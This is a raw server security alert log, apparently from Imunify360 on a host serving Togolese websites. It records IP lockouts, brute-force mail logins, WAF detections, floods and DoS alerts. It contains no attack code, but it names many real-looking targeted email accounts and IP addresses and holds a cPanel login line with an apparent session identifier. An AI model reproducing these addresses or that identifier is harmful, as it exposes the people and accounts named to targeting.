43.173.175.132 - - [28/Jun/2026:04:19:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722201&pdata=https%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782620382 HTTP/1.1" 404 561 dagl.tg "https://dagl.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.132


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.126.182.139
country_id: 690791
description:
Jun 28 04:18:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.126.182.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 213.145.86.42
country_id: 6252001
domain: www.cameg-togo.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 213.145.86.42
country_id: 6252001
domain: www.cameg-togo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.166
country_id: 2300660
description:
Jun 28 00:17:18 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.130
country_id: 3469034
description:
Jun 28 03:05:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.65
country_id: 3469034
description:
Jun 28 03:27:24 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.70.87.52
country_id: 2363686
description:
Jun 28 03:40:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.70.87.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.118
country_id: 798544
description:
Jun 28 00:09:37 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.209
country_id: 953987
description:
Jun 28 01:57:36 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.162
country_id: 3175395
description:
Jun 28 04:23:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.192
country_id: 953987
description:
Jun 28 00:28:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.192 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.194.178.92
country_id: 3017382
description:
2026-06-28 00:41:14 dovecot_login authenticator failed for H=([100.64.100.6]) [185.194.178.92]:65476: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.214.49.180
country_id: 2245662
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/68.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.15
country_id: 6252001
description:
205.169.39.15 - - [28/Jun/2026:04:28:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739118&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782620933 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.15


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 28 04:29:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.99
country_id: 1269750
description:
Jun 28 04:29:40 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.99
country_id: 1269750
description:
Jun 28 04:29:53 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.99 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.218.152.246
country_id: 130758
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.218.152.246||TA:217.218.152.246||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.207
country_id: 1880251
description:
43.173.177.207 - - [28/Jun/2026:04:34:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12936294&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fhommes-armes%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782621237 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/hommes-armes/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.207


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.129.62.64
country_id: 2623032
description:
Jun 28 04:34:34 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.129.62.64 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.132.125.179
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:91.132.125.179||TA:91.132.125.179||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.129.62.64
country_id: 2623032
description:
2026-06-28 04:34:36 dovecot_plain authenticator failed for H=(5qveu993s3xlbhv0vbyfbdi) [185.129.62.64]:42816: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.130.131.18
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2114||QS:add-to-cart=2114||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.139.196
country_id: 690791
description:
Jun 28 04:36:44 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.139.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.139.196
country_id: 690791
description:
Jun 28 04:36:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.139.196 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.218.153.78
country_id: 130758
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.218.153.78||TA:217.218.153.78||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.48.52.206
country_id: 783754
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-39.144.48.52.206||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.153.104.196
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1475||QS:add-to-cart=1475||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 04:42:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.254.167.36
country_id: 3686110
description:
177.254.167.36 - - [28/Jun/2026:04:43:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314602&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccin-contre-la-rougeole-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782621789 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccin-contre-la-rougeole-au-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.5982.1611 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.254.167.36


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.53
country_id: 719819
description:
Jun 28 04:48:24 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.145
country_id: 99237
description:
Jun 28 04:48:42 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.145
country_id: 99237
description:
Jun 28 04:48:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 28 04:49:44 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 04:50:37 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.222.203.204
country_id: 3686110
description:
129.222.203.204 - - [28/Jun/2026:05:00:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859530&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F10%252F25%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782622802 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/10/25/page/2/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.1426.1683 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.222.203.204


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [28/Jun/2026:05:04:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393029&pdata=http%253A%252F%252Fwww.dagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782623086 HTTP/1.1" 404 561 www.dagl.tg "http://www.dagl.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 05:04:46 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [28/Jun/2026:05:07:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184343&pdata=http%253A%252F%252Fwww.moodle.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782623265 HTTP/1.1" 302 0 www.moodle.free.netmaster.tg "http://www.moodle.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.151
country_id: 1880251
description:
43.173.179.151 - - [28/Jun/2026:05:09:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658409&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fa-la-une%25252Fentrepreneuriat-social-lambassade-des-etats-unis-va-former-12-porteurs-didees-de-transformation-sociale%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782623357 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fa-la-une%2Fentrepreneuriat-social-lambassade-des-etats-unis-va-former-12-porteurs-didees-de-transformation-sociale%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.151


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 28 05:10:02 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 16.112.109.113
country_id: 1269750
description:
2026-06-28 05:16:54 dovecot_plain authenticator failed for H=ec2-16-112-109-113.ap-south-2.compute.amazonaws.com (kccby8wa7jabwq7ad6t0xlf28ogzr2a) [16.112.109.113]:54086: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.13.225.78
country_id: 2921044
description:
45.13.225.78 - wwayrzpl [28/Jun/2026:05:20:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181974&pdata=https%253A%252F%252Fzontalomemillenium.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782624000 HTTP/2.0" 302 0 zontalomemillenium.tg "https://zontalomemillenium.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.13.225.78


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 05:27:25 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 125.16.177.54
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 125.16.177.54: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.60.195.219
country_id: 290557
description:
2026-06-28 05:30:41 H=([217.60.195.219]) [217.60.195.219]:58541 F=<noreply@formlinksystems.com> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-28 05:29:59 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:33612: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 05:32:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 181.177.110.75
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:181.177.110.75||TA:181.177.110.75||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.146.92.43
country_id: 2510769
description:
194.146.92.43 - - [28/Jun/2026:05:34:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672555&pdata=https%253A%252F%252Fwww.voozanoo.pnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782624859 HTTP/2.0" 302 0 www.voozanoo.pnls.tg "https://www.voozanoo.pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.146.92.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-06-28 05:36:26 dovecot_login authenticator failed for H=([112.161.42.97]) [61.74.224.30]:54990: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.74.224.30
country_id: 1835841
description:
Jun 28 05:36:24 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.74.224.30 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 188.119.90.230
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:188.119.90.230||TA:188.119.90.230||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.217.70.151
country_id: 1814991
description:
2026-06-28 05:41:32 dovecot_login authenticator failed for H=([119.247.187.188]) [171.217.70.151]:42376: 535 Incorrect authentication data (set_id=admin@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.217.70.151
country_id: 1814991
description:
Jun 28 05:41:30 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.217.70.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.117.32.22
country_id: 2017370
description:
Jun 28 05:41:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.117.32.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-06-28 05:41:17 dovecot_login authenticator failed for H=(62.36.19.42.static.abi.uni2.es) [87.117.32.22]:53122: 535 Incorrect authentication data (set_id=eagnidom@otr.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.147.200.150
country_id: 1210997
description:
27.147.200.150 - - [28/Jun/2026:05:43:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12948890&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782625437 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.9782.1181 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.147.200.150


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.94
country_id: 2635167
description:
[2026-06-28 05:47:27 +0000] info [cpaneld] 5.230.153.94 NEW wcnyaruu:rfJsAE1GitBgbajY address=5.230.153.94,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.181.245.63
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-49.185.181.245.63||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.142.82
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-49.109.248.142.82||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.8.10.240
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-49.46.8.10.240||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.204.38
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-49.109.248.204.38||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.115.49.12
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-50.212.115.49.12||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 05:50:12 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.189.131
country_id: 2017370
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-50.188.130.189.131||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 192.248.179.181
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 192.248.179.181: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 35.161.55.221
country_id: 6252001
description:
35.161.55.221 - - [28/Jun/2026:05:50:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.161.55.221


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 35.161.55.221
country_id: 6252001
description:
35.161.55.221 - - [28/Jun/2026:05:51:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18959916 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.161.55.221


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.252.131
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.83.252.131||TA:172.83.252.131||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.120.119.97
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.120.119.97||TA:172.120.119.97||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.101.164.72
country_id: 2921044
description:
46.101.164.72 - - [28/Jun/2026:05:58:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723481&pdata=http%253A%252F%252Fahoefa.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782626314 HTTP/1.1" 302 0 ahoefa.tg "http://ahoefa.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.101.164.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.172
country_id: 3469034
description:
Jun 28 05:58:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.245.16
country_id: 1835841
description:
2026-06-28 06:00:50 dovecot_login authenticator failed for H=([149.54.51.42]) [220.80.245.16]:44080: 535 Incorrect authentication data (set_id=jean-claude.kpenou@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.245.16
country_id: 1835841
description:
Jun 28 06:00:48 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.245.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.229
country_id: 3469034
description:
Jun 28 06:01:30 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.229 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.44.189.221
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.44.189.221: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.32
country_id: 1733045
description:
2026-06-28 06:05:22 dovecot_login authenticator failed for H=([95.220.17.165]) [49.124.152.32]:44176: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.152.32
country_id: 1733045
description:
Jun 28 06:05:20 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.152.32 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.44
country_id: 6252001
description:
205.169.39.44 - - [28/Jun/2026:06:06:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13263769&pdata=http%253A%252F%252Fsahamtg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782626806 HTTP/1.1" 302 0 sahamtg.com "http://sahamtg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 06:12:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 06:13:25 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.67
country_id: 3175395
description:
